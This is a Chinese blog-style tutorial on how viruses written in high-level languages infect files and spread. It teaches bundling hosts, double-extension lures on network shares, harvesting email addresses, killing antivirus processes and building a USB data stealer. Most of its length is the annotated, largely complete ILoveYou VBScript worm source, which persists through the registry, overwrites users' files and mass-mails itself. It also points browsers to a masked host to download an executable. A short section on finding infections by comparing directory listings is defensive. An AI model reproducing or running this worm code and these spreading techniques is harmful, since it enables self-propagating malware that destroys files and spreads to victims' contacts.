1,水乳交融式的感染 所谓水乳交融,是指蠕虫与宿主真正成为一体,而不是独立的两部分。这种感染方式在汇编写的病毒中很普遍,但在高级语言病毒中则少见,这主要是因为高级语言不像汇编那样可以随心所欲地控制代码。 因为高级语言的太“高级化”,使得我们的编程自由度受控!这种感染方式不太适合高级语言,所以这一部分我就不详细介绍了!对这方面感兴趣的可以参考《CVC内部文档》 2,捆绑式感染,比如Nimda 这是用的最多的一种感染方式。所谓捆绑式感染,就是指病毒与宿主简单地结合,二者不发生任何实质的关系。这种方式,一般病毒替换宿 主,然后把宿主做为自身数据的一部分。当用户执行这个“程序”时,当然首先执行的是病毒,病毒执行完后,就可以把宿主从自身数据中抽取出来,做为一个独立 程序执行。 这种方式实现起来很简单,感染时,把宿主放在病毒的最后,执行时,从尾部取出宿主,Copy到独立文件执行就可以了。Nimda 用了另外一个存储宿主的地方,就是Resource,用Win2000的Resource Update系列API,把宿主放在自身的Resouce里, 执行时,只要取出该资源就行了。 呵,这个我实验过,蛮有趣的!——你可能会问我如何判断一个宿主不被重复感染了?问得好,至于这个,你如果对PE文件格式非常熟 悉的话,你应该明白这一点,当我们的Win32程序在DOS平台下运行时,会出现一个 "This program must be run under Win32"! 现在明白我要说的是什么了吗?什么你不知道,好啦,其实我们只要修改宿主程序或者是病毒本身的那个位置,就可以避免重复感染同一 个文件的痛苦!——呵,当我们写完一个病毒后,我们只要将自身的那个位置改成"HappyQQ love This computer"(^v^) 最后怎么判断就看你们会不会用相关高级语言中的"if"语句了!——相信你们这些高手都明白了我的意思! 3,LAN,文件共享 这种感染方式,最简单不过了,原理上,可以把共享的磁盘当作本地磁盘一样, 可以对之Copy病毒自身,或者感染其上的文件。值得注意的是,随着Internet上的文件共享的增加,现在有越来越多的蠕虫通过文件共享传播,比如很多都通过Kazza传播! 呵,这个玩过Windows入侵都明白这一点!…… 这个我原来用VB写过一个模拟的病毒,呵呵,在内部局域网中测试通过! 相信大家一定玩过Win2000,WinXp系统吧,什么?没玩过,你玩Linux/Unix,牛!有空教教小弟我!^_^ 在Win2000中有一个默认共享漏洞,如何一个默认法,你们这些黑客高手们一定比我这位菜菜更清楚! 当然了,为了照顾和我一样菜的朋友,还是将那些很古老的共享漏洞说一下!高手们,请将这一段跳过! Win2000的每一个磁盘都有一个隐藏的共享,比如你有三个分区,那么在你没有进行相关安全设置的前提下,网上那些所谓的黑客们, 就会通过C$,D$,E$,ADMIN$,IPC$来对你的计算机进行一番艺术性的计算机“美容”活动,至于那些黑客们的美容技术如何,我就不敢肯定了! 说不定他们可能把你的电脑美容得让你气死!…… 其实WinXp也有一个共享漏洞,SharedDocs这个闲脚的地方也可以让病毒们去那休息一下!怎么一个休息法了? 那就得用到社会工程学里面的一些知识,我举一个不妥的例子! 我们可以抓住现在每一个男孩子都爱看美女,每一个女孩子都爱看帅哥的心理,我们就通过病毒的Self-Copy方法,将其复制到网上 所有计算机的这个ShareDocs共享里面,生成两个一样的文件!并且病毒文件图标是一个帅哥与美女的合影,然后生成的两个吸引人的文件名! 比如"帅 哥......................................................................exe", "美女.......................................................exe"(为什么要有这么多 “点”了?你试一下就知道效果了,这个方法可是我原创的噢,收费的喽——倒!其实我们HKLM所有东东都只存在一个Free,没有那些所谓的黑客组织的 VIP概念) 为什么我要用那么多的点呀,其实我们用了一招障眼法!即使对方开启显示所有文件的扩展名,也会让他不小心地去点一下!……(别打我呀!) 5,P2P(ICQ,Messenger,OICQ) 这种方法也很简单,只要有一个免费的空间!然后把自己的病毒文件转上去,并加上一个Html文件!(呵,至于什么样的Html文件,那就看你要用哪种漏洞了!MIME漏洞,还是?) 可能有人会问我为什么要一个Html文件,告诉你,那个Html文件是利用IE的漏洞或者是其他相关的漏洞让你的病毒文件被下载且执行的! 至于病毒,你如何编写,那就看你的编程功底了!——当然喽,至少要具备"PostMessage,SendMessage"等Win32API的编程功底!——呵,要不你的那些诱骗别人点击的URL怎么能够通过你的P2P软件中发送出去了?! 6,Email 地址搜索方法 1,各种地址簿,Outlook, MSN Messenger, ICQ database 通过了解这些地址簿的格式,你可以写出取地址的代码。 2,HTML文件之mailto: 很简单,打开一个HTML文件,用strstr找mailto:,后面的就是EMail地址。 以上两种方法,都不是最好,一个txt文件里也可能含有Mail地址,你怎么找?甚至exe里也可能有,你又如何找?最好的方法,就是下面这个,暴力搜索。 3,暴力搜索 注意一下EMail地址的格式,统统都是xxx@xxx.xxx,其中的点'.'可能有多个,但那个'@'肯定只有一个。好了,用一点分析字符串的手段,把这些分析出来吧。 至于以上那几种方法,我个人认为,第一种是最简单的!也是一般的蠕虫病毒所常用的方法! 1.3,Kill掉那些讨厌的杀毒软件! 这一点,相信大家你们这些高手都知道是什么原理!最简单的方法就是Kill掉所有已知杀毒软件的Process! 还有一点就是让所有含有”AntiVirus,杀毒,木马"等窗口标题的Process全部退出!——这是我的一个技术原理,还未进行测试,想信应该行得通! 当然喽,还有最毒的一招就是—— 无论是Win98,Win2K系统中,都有正常的系统进程!除此之外的所有未知进程,我全部结束掉! 世界一著名黑客曾经告诉我们一点: Social Engineer是他们能够成功入侵XXX的秘密武器! 第二部分 病毒的分析 在谈这个之前,有必要向朋友介绍Windows病毒经常休息的几个地方! 为了免遭不速之客的侵犯,我们以在装完一个系统之后,先对%systemroot%,%systemroot%/system,%systemroot%/system32这几个地方进行一次拍照,以免当有“杂物”进来时,我们无法确认! 如何进行系统的第一次拍照了? 第一种方法我们用几个DOS命令: dir %systemroot%/*.EXE /b>%systemroot%/AllExes.FC dir %systemroot%/*.DLL /b>%systemroot%/AllDLLs.FC 其他几个系统目录,可以参照上面的方法进行拍照! 当然喽,为了保证以后分析病毒的正确性,我们每装一个软件,都要进行系统目录的拍照! 文件名的命名,我们可以按每一次装的软件来生成,以便以后的分析! 当我们的系统某一天中奖的时候,我们可以再次用DOS命令: dir %systemroot%/*.EXE /b>%systemroot%/ISExes.FC dir %systemroot%/*.DLL /b>%systemroot%/ISDLLs.FC 最后用FC命令进行比较,我们将发现病毒藏哪! FC %systemroot%/AllExes.FC %systemroot%/ISExes.FC FC %systemroot%/AllDLLs.FC %systemroot%/ISDLLs.FC 为了保证系统的安全性,我们可以对系统所有可执行文件进行拍照!除EXE,DLL,COM外,还有VBS,VBE,JS等文件格式! 当然喽,我上面讲的只是手工的方式,我们完全可以通过编程的方法来实现自动化拍照! 如何使用编程的方法来进行自动化拍照,我在这就不详说了!这不是此文的重点! 第二种方法就是使用借助专业化的软件来对病毒进行分析,比如UltraEdit,WinHex,SoftIce,RegSnap,FileMon等,这些软件我就不一一介绍了,感兴趣的朋友可以去下载几个玩玩! 第三种方法就是使用日期时间判断法,文件长度法,文件名的判断法来进行病毒的分析! 1.0 日期时间判断法: 你的电脑是什么时候不正常的?什么,你不知道,算了,那就别分析了!…… 知道是什么时候不正常的,我们可以通过Windows的查找功能,查找这个时间段,C盘里面所有EXE文件!(或者是其他可执行文件) 然后再去注册表的启动项看看,有没有相对应项,并且那些启动项并不是系统必须的,我们都可以将其去掉!(当然喽,为了保证系统正常,最后先导出那些启动项!) 耐心地去跟踪吧!(当然喽,文件感染形的病毒用此方法无效!) 1.1 文件长度法,文件名判断法: 至于这个吗?前提是你知道了反病毒公司所发布的病毒信息,并附有那病毒的长度或者是病毒的文件名,此方法才有效!(呵,你 可能会骂我笨,你可能会说“难道我不知道进行病毒库的更新吗?”——呵,我说的是你没有装任何AntiVirus的情况下!) 如何清除,会用Windows查找的用户都会,我就不说了!…… 呵呵,在说这个,我顺便说个笑话给大家听听,别笑掉笑噢! 一天,我装了某XXXX专家(为了表示对软件作者的尊敬,软件名称省去)呵,是一个查杀木马的软件!我并没有用什么反汇编工具,只是用了我的一些最简单软件分析的方法! 打开那软件,进行系统扫描!立马进行系统目录扫描,发现病毒Reg32.exe!(明明是我以前对Windows某一个系 统可执行文件作的备份!呵,那怎么会是病毒了!)……我当时就晕倒了,呵,没关系,反正没事,我就拿这个软件开玩笑,我复制Notepad.exe到% systemroot%命名为Funny.exe,然后进行扫描!哈哈,连记事本都不认得,还敢称为“XXX专家”,我“哇”的一声,面前的电脑屏幕马上 变得模糊起来了!…… 最后我想说一句:这就是商业化所抄作所得来的结果! 第四种方法就是通过木马藏身的手段来进行分析!(这个方法,我在贴吧曾经已经说过了,我就不详说了!) 第三部分:实例讲解!(呵,如果我这位菜鸟分析有误,还请高手多多指教!) 接下来段落中,我会举几个闻名全球的病毒实例来揭开病毒的那神秘的面纱! Iloveyou病毒的神秘所在,代码如下: On Error Resume Next '无论我们用VB6.0,还是用Windows脚本写病毒,这条语句的出现,是非常妙的,怎么个妙法,我这位菜菜就不多说了! dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject")'创建文件系统对象 set file = fso.OpenTextFile(WScript.ScriptFullname,1) '提示WScript.ScriptFullname代表了脚本被运行时的完整名称 vbscopy=file.ReadAll main()'调用Main函数 '定义Main函数 sub main() On Error Resume Next'妙 dim wscr,rr set wscr=CreateObject("WScript.Shell") '创建Wscript.Shell对象 rr=wscr.RegRead("HKEY_CURRENT_USER/Software/Microsoft/Windows Scripting Host/Settings/Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER/Software/Microsoft/Windows Scripting Host/Settings/Timeout",0,"REG_DWORD" end if '分别得到Windows目录,系统目录,Temp 文件夹 Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) '呵,无论写哪种病毒,类似这样功能的语句是很常见的! c.Copy(dirsystem&"/MSKernel32.vbs") c.Copy(dirwin&"/Win32DLL.vbs") c.Copy(dirsystem&"/HappyQQ_love_WeiWei.vbs") '调用其他功能模块,结构化程序思想! regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread '写注册表的启动项 regcreate "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run/MSKernel32",dirsystem&"/MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/RunServices/Win32DLL",dirwin&"/Win32DLL.vbs" downread="" 'DownRead变量用来保存下载目录的路径 downread=regget("HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Download Directory") if (downread="") then downread="c:/" end if '如果病毒执行文件不存在! 'FileExist是Iloveyou病毒作者所定义函数,判断文件是否存在! if (fileexist(dirsystem&"/WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) '通过随机数,从而设置IE的启始页为不同的病毒下载页面! if num = 1 then regcreate "HKCU/Software/Microsoft/Internet Explorer/Main/Start Page"," http://www.****.net/123.exe " elseif num = 2 then regcreate "HKCU/Software/Microsoft/Internet Explorer/Main/Start Page"," http://www.****.net/123.exe " elseif num = 3 then regcreate "HKCU/Software/Microsoft/Internet Explorer/Main/Start Page"," http://www.****.net/123.exe " elseif num = 4 then regcreate "HKCU/Software/Microsoft/Internet Explorer/Main/Start Page"," http://www.****.net/123.exe " end if end if '如果病毒可执行文件存在,则在注册表的启动项里面加入病毒的启动项! if (fileexist(downread&"/WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run/WIN-BUGSFIX",downread&"/WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main/StartPage","about:blank" end if end sub sub listadriv '毒呀,竟然对整个磁盘,包括网络映射盘都进行感染! On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"/") '对这个磁盘所有目录里面所有脚本文件进行感染 end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec)'所指定的文件夹对象 set fc = f.Files '文件集对象 for each f1 in fc '对所有文件进行遍历 ext=fso.GetExtensionName(f1.path) 'EXT保存扩展名 ext=lcase(ext)'转成小写,以便于比较 s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then '只要是VBS,VBE,JS,JSE,CSS,WSH,SCT,HTA文件,就直接把病毒代码覆盖掉原文件,晕,你怎么这毒呀! set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&"/"&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then '以下语句是利用Mirc软件的漏洞 if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"/script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine "; http://www.***.com " scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick"&dirsystem&"/LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) '遍历目录,并且进行感染操作! On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub '定义写注册表的功能模块 sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub '定义读注册表值的功能模块 function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function '判断文件是否存在 function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function '判定目录是否存在 function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function '前面我们一起学习了蠕虫病毒的待征!下面这个功能模块正体现得淋漓尽致! '仔细阅读噢,通过E-mail进行传播 sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application")'创建OE对象 set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count '从地址簿中选E-mail地址发送病毒本身! set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER/Software/Microsoft/WAB/"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER/Software/Microsoft/WAB/"&malead) if (regad="") then '这个是标志值 set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" '邮件的标题是"Iloveyou" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"/HappyQQ_love_WeiWei.vbs") male.Send '发送出去 regedit.RegWrite "HKEY_CURRENT_USER/Software/Microsoft/WAB/"&malead,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER/Software/Microsoft/WAB/"&a,a.AddressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER/Software/Microsoft/WAB/"&a,a.AddressEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub sub html '利用OE漏洞进行传播,鼠标移到附件上就执行了脚本病毒! On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM# -#,#-#main#-#)@-@ "&vbcrlf& _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM# -#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _ "<?-?BODY><?-?HTML>"&vbcrlf& _ "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _ "if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>"&vbcrlf& _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _ "on error resume next"&vbcrlf& _ "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ "aw=1"&vbcrlf& _ "code=" dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _ "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ " set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ "wri.write code4"&vbcrlf& _ "wri.close"&vbcrlf& _ "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _ "aw=0"&vbcrlf& _ "end if"&vbcrlf& _ "if (aw=1) then"&vbcrlf& _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _ "end if"&vbcrlf& _ "end if"&vbcrlf& _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _ "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>" dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") dt5=replace(dt4,chr(94)&chr(45)&chr(94),"/") dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") dt6=replace(dt3,chr(94)&chr(45)&chr(94),"/") set fso=CreateObject("Scripting.FileSystemObject") set c=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrlf)'根据脚本文件代码的每一行组建成一个Lines数组! l1=ubound(lines) for n=0 to ubound(lines) '下面这些语句非常写得非常得妙!牛人就是牛! '具体我就不分析了,由于受文章篇幅所限,再加上讲授编程技巧不是本文的目的!所以…… lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) lines(n)=replace(lines(n),"/",chr(37)+chr(45)+chr(37)) if (l1=n) then lines(n)=chr(34)+lines(n)+chr(34) else lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if next set b=fso.CreateTextFile(dirsystem+"/LOVE-LETTER-FOR-YOU.HTM") b.close set d=fso.OpenTextFile(dirsystem+"/LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write dt6 d.close end sub 2)病毒原理分析!(呵,代码我就不写了!——写上去,我怕你们把我当成是这个病毒的编写者!) 不知你们有没有听说过“闪盘资料窃取器”(呵呵,病毒名称不一定是正确的!)这样的一个病毒呀! 那个病毒能够把U盘里面所有的资料都拷到病毒所指定的某一个目录的文件夹中去! 呵,听说那个病毒是用VB6.0编写!(同时说明一点:你们不要认为能够写病毒的人就是高手!) 其实那个病毒非常容易编写,只要你会使用对注册表操作的几个API函数与FileSystemObject,以及APP对象! 还有一个就是Timer控件,这个控件有什么用处了?呵,这个控件相当于反病毒软件里面的实时监控! 第一步:当然要隐藏窗体呀,Form_load事件里面写入"Me.HIDE"就可以啦! 然后写注册表! 如果你看懂了Iloveyou病毒,那么如何写注册表达到自启动病毒本身应该是非常容易的了! 第二步:我们将Timer控件的Interval属性设成数字1。 现在我们所要做的事就是每时每刻对Drivetype进行判断,呵,我们一发现“可移动磁盘",就进行窃取! 当然喽,为了保证我们所窃取的资料不出现重复的!我们可以把那U盘的序列号(呵,我猜想这个序列号应该是唯一的吧!)与U盘可用空间存到系统的某一个目录! 第三步:我们用WinRar或者其他压缩软件包将"我们用VB6.0生成的病毒可执行体与所需要的支持文件!"打成包,并生成一个自解压程序! 呵,其实今年暑假我就写了一个类似"闪盘资料窃取器"的模拟病毒程序(暑假我这垃圾电脑没带回去,原代码就放我姐姐的机子上面了),我写的 那个程序是对Mp3机里面所有的LRC歌词文件进行改写!演唱者为HappyQQ,每一句歌词都会被改为"HappyQQ非常喜欢听这首歌,更喜欢唱这首 歌" 原理跟U盘窃取器差不多,不过,俺们是良民,不会干那些"偷鸡摸狗"的事! 好了,我写了一上午的文章,我该吃中饭去了!饿呀!我就写到这吧!…… 噢,差点忘了一件事: 真正的高手是不屑于写病毒的,他们认为那只是小孩子玩的,是无聊的东西。 我也认为会写病毒并不等于高手,高手也不一定非要写病毒。 我喜欢玩病毒,是因为我觉得如果把病毒当生命,大量的繁殖,还是很好玩的, |
高级语言病毒是如何进行文件感染的?
最新推荐文章于 2023-10-21 22:05:56 发布